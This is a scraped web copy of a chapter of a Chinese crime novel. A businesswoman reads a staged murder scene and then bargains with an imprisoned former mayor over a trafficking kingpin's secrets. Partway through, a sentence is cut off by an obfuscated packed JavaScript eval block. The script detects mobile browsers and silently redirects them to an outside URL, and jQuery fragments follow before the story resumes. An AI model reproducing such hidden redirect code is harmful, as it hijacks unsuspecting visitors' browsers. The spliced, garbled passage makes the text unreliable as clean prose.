文趣网 > 其他小说 > 春夜与罪 > 8. Chapter 7
    Chapter7

    此后一路,姚岚脑海中始终盘桓着刚才那一幕。

    车子在高速路上和警车擦肩而过,警笛声由近至远,随即听到坐在副驾驶座的肖越说:“园区不是第一案现场。凶手的表现欲很重,如果这次警方抓不到人,可能还会有下一次。”

    姚岚看着车窗外,隔了几秒才低声下结论:“是他。”

    谁?

    只负责开车始终不曾言语的司机的刘寻,忍不住用余光扫向后照镜。

    听这意思,园区里不只是死了人,而且姚岚已经猜到凶手的身份,肖越似乎也知道她的指向,并不意外,否则就该问一句“是谁”。

    不过刘寻是个话不多的人,也懂得“左耳进右耳出”的处事道理,不该记住的听过就忘,不该问的一个字都不会吐。

    肖越问:“要不要更改接下来的行程?”

    这显然是为了姚岚的安全考虑,毕竟在过去三年间,姚岚每次往返麦城都会引来几波宵小之徒。

    而这次好巧不巧,偏偏在姚岚视察园区前多了一具尸体,又那么巧监控室提前关了,凶手还将尸体特意摆好姿势给人“欣赏”,这说明凶手不只清楚姚岚的行程,或许还和负责看管和打扫园区的工作人员有来往,甚至是混迹其中。

    不过以姚家和本地政要的交情来说,这里的警察一定会受到上面的压力,要求尽快破案,下一步应该就会仔细盘查园区内工作人员的底细,特别是临时工和突然辞职的员工。

    “不用。”姚岚却说,“尸体处理之后,你亲自去找王探长,除了搞清楚死者身份,再拿一份死因报告和样本。样本送回国找第三方再做一次鉴定。”

    “明白。”肖越透过后照镜看向姚岚的侧脸,像是在等待什么。

    直到姚岚再度开口:“既然他要作秀,就不能以常规的杀人动机来分析,而是看手法。”

    而与此同时,被允许留在园区现场的记者,正对着摄影机口述现场情况。她身后十几步远的地方已经被麦城警方拉上警戒线,警察和法医正在现场勘察。

    【经警方透露,本案的凶手很可能有反社会倾向,对于社会有一定的报复心理,借由这种极端手段来博得社会关注。这或许将会成为警方接下来案件调查的主要方向。】

    ……

    一个小时后,姚岚在阴凉的监狱会客室里落座,她微笑着看向防弹玻璃另一边的中年女人。

    中年女人同样在笑,而且因为经年累月地做同一副伪善表情,已经形成肌肉记忆刻在骨子里,让人分不出来她是真笑还是假笑。

    而这样的一张脸,过去三个月曾持续不断地出现在麦城的电视新闻和网络媒体上——她就是被判终身监禁的前市长许立荣。

    “我不知道你想从我这里得到什么,我只能告诉你,该讲的我都在法庭上讲完了。不该讲的,就算要讲,也不会讲给你听。”许立荣率先开口,“同样的道理,许应达也不会将‘鸡蛋’放在一个篮子里,否则他等不到引渡,早就死在监狱里了。”

    中国大陆会用法律手段来公平地审判许应达,可这世界上总有一些躲在阴暗角落里想要许应达“闭嘴”的鼠辈。

    暗箭难防,姚岚来麦城开荒这三年就深有体会,哪怕带足了钱、人,疏通了当地所有关卡,明枪暗箭依然一波接着一波。

    这里不是中国大陆,有些文明渗透不进来,各路地头蛇早就习惯了野蛮那一套,管你背后是谁,你就是个外来的,穷人就是“猪猡”,富人就是“待宰羔羊”。

    这就是为什么这里从底层爬上来的华人,到最后都会变成吃人不吐骨头的“恶魔”,而他们的进阶之路也只有那一种手段——你不吃人,人就吃你。

    当然,上位之后,不管黑产还要不要继续,表面上都需要包一层“文明”的皮洗白。

    而许应达的那层皮,就是堂姐许立荣。

    “许应达的园区早就采取科技化手段,九成以上的数据录入电脑。虽然在被捕之前他让人将数据销毁,但经过国内技术的还原,基本上都找回了。”姚岚慢条斯理地陈述道,“这些数据涉及的罪刑,他死十次都不够赔。就算他愿意戴罪立功,供出其他地域的黑产主谋,也不够减刑……”

    许立荣对许应达在大陆的处境和司法流程进行到哪一步并不清楚,这还是几个月以来第一次有人将消息带给她。

    许立荣看上去满不在乎,却早就竖起耳朵,生怕漏听一个字,更恨不得扩展成千字论文逐一分析姚岚的潜台词。

    然而许立荣到底是想错了,姚岚不是来打哑谜的,也没时间和她东拉西扯,很快便步入正题:“可你就不一样了。这里没有死刑,终身监禁的人即便再十恶不赦,也有减刑和提前释放的先例。这里的法律你比我清楚,应该知道我不是无的放矢。”

    显然,姚岚是来做交易的。

    自从进来以后,许立荣就已经不抱幻想,这二十年她和许应达互为“倚仗”,一个代表权力,一个象征金钱。

    当然她身后还有“靠山”,可是一朝事发,如今的外交局势已经不容那些“靠山”继续装聋作哑,黑产势必要解散,一定要有人抗下所有,何况她和许应达本就是整个利益链的主谋。

    至于过去向上输送的好处,他们一个字都不能吐,必须烂在肚子里。

    但话说回来,许立荣并不相信姚岚的手能伸得这么长——这案子闹得这么大,所有人都避之唯恐不及,一个外来的小丫头哪来的底气?

    “哼。”许立荣冷笑一声,靠着椅背一副高高在上的嘴脸,“我要真信你的话,跟你做交换,就看不到明天早上的太阳了。”

    姚岚依然很淡定:“你涉及的恶性犯罪,已经定性的包括绑架、诈骗和非法囚禁,好在至今没有一条谋杀罪能证明和你有关。你这种程度斡旋的余地还是很大的,只不过碍于你过去的身份和如今媒体炒作的能力,你的案子一时半会儿都会处在风口浪尖。但这种热度不可能一直持续,只要上面和公众的视线转移,过不了几年是有机会的。哦对了,王议员的儿子你还记得吗?”

    听到“王议员”三个字,许立荣的笑容消失了,眉头中间的川字纹也逐渐清晰。

    如果说之前还有点轻视姚岚,如今倒多了几分警惕。

    “什么议员的儿子,还姓王,我怎么一点印象都没有?”许立荣装傻道。

    “五年前,因六项一级谋杀罪入狱,不到一年就飞往新加坡,如今还担任三家美容科技公司的总裁。”

    许立荣不说话了,却忍不住在心里猜测姚岚是哪来的消息?如果只是道听途说,她绝对不敢当面说出来,还这么笃定。

    姚岚继续道:“既然那时候你有办法把人办出来,那么只要等上几年,同样有人可以将你平安送出麦城。”

    这话落地,探监室好一会儿没人说话。

    直到许立荣质疑道:“就凭你一句话,就想从我这里套走消息?”

    她当然不相信姚岚有这个本事,却又不敢不信,因为这是她最后的“希望”,也是这么长时间以来,唯一一个递进来“救命稻草”,而不是要挟、恐吓的人。

    “许应达干什么都会留一手,他们拿走的那些数据,关系到的不过都是蝼蚁、牛马的命。真正掐住命脉的大头,他都单独收着。他死了,这个秘密也会蒸发。但到现在都没有人动手,你知道是为什么吗?”

    姚岚露出笑容:“得‘号令’者可得天下。这句武侠小说里才有的台词,我一直都觉得很中二,不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521875|202844||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过放到现在,倒也应景。”

    “你倒是聪明。”许立荣问,“可你凭什么证明你就是那个幸运儿?压不住,就算拿到了,也会变成催命符。不仅得有手段,你还得有那个命。瞧瞧现在的许应达,他的八字可是麦城最顶尖的阿赞批过的,注定会发百年难见的横财。可就因为他知道了太多不该知道的事儿,八字再硬也扛不过去。”

    说到这里,许立荣的脸色都变了,显然她曾经坚信过许应达的命格,也确实因此吃到了“红利”,而后来也终于见识到了什么是天意。

    “你们这里的人怎么都神神叨叨的。”姚岚轻笑一声,遂话锋一转,眼神里也多了几分锐利,“我今天只是道明来意,根本没想过从你这里得到什么。就算你现在愿意告诉我,我也不会信,咱们来日方长。不过为表诚意,我可以先给你透个消息。”

    许立荣没有问,却下意识屏住呼吸。

    也不知道为什么,她有一种不好的预感,事实上从姚岚会见开始,她的心里就时不时漏跳一拍。

    许立荣盯着姚岚的唇,只见它一开一合地吐出一句话:“你最小的儿子,上个月在看守所与人斗殴,当场暴毙。”

    “什……”许立荣的脑子有几秒钟的空白,“不可能……你撒谎!”

    姚岚的语速并不快,每一个字都足以让许立荣听清:“我知道,你前几天还得到他在看守所受到特别照顾的消息。由于你将所有罪名都承担下来,你的家人大部分都没有获罪,特别是你这个小儿子,去年才留学回来,根本就没有参与过家族黑产。如今有人要对你的过往罪刑追责,按理说不该牵扯到他,只是走个过场,很快就能出去。可惜,有人要斩草除根,也有人不敢赌那个‘万一’——他是你最喜欢的儿子,万一他真知道点什么呢?斩草不除根春风吹又生,古往今来皆是如此。”

    淡红色的嘴唇,咬字清晰地吐出要人命的话语。

    许立荣的脸也逐渐褪成和身后墙壁一样的颜色。

    直到姚岚话落,她不紧不慢地站起身,又道:“我相信就算是在这里,你也有办法求证我的消息是不是真的。等我下次来,你再告诉我要不要合作,需要我保住谁的命——希望他们能坚持到那个时候。”

    “等等!”许立荣立刻叫道。

    见姚岚转身看她,她快速站起身,上身贴向玻璃,透过听筒说:“我大女儿还在法国,不要让她回来!”

    姚岚却没有丝毫表情变化,空旷的眼神没有半点波动,只余下一片漆黑。

    “只要你能做到,他的秘密我有办法帮你拿到。但我需要时间,也需要证明你没有骗我!”

    我有办法帮你拿到?

    姚岚品了品许立荣的话,知道这件事绝不会太过顺利,其中也必然会有几个迂回的过程,但这已经是捷径了。

    “等我消息。”姚岚无声地吐出四个字。

    许立荣读到了,对上她的眼睛,同时心里也蹿出一股冲动:“我见过很多亡命之徒,是什么属性只要对一个眼神就知道。沾过人命的手,眼神会不一样,更像肉食动物,眼睛里全是欲望和杀戮。而真正冷血的人,既没有牵绊,也没有情感,更没有爱恨情仇。你这种眼神,我以前见过一次……我一辈子都忘不掉。”

    许立荣有一瞬间的恍惚,也不知道是不是想到了她话里的那个人,随即点了点头,像是为了确认什么似的:“也许你真能帮我……我等你。”

    直到她轻轻落下最后三个字,再度坐了下去。

    姚岚也收回目光,一言不发地走出探监室。

    探监室外,肖越等候已久。

    见到姚岚便第一时间迎上来,先对守在门口的警卫点了下头,遂走在姚岚身侧,声音不高不低:“倪先生来了。”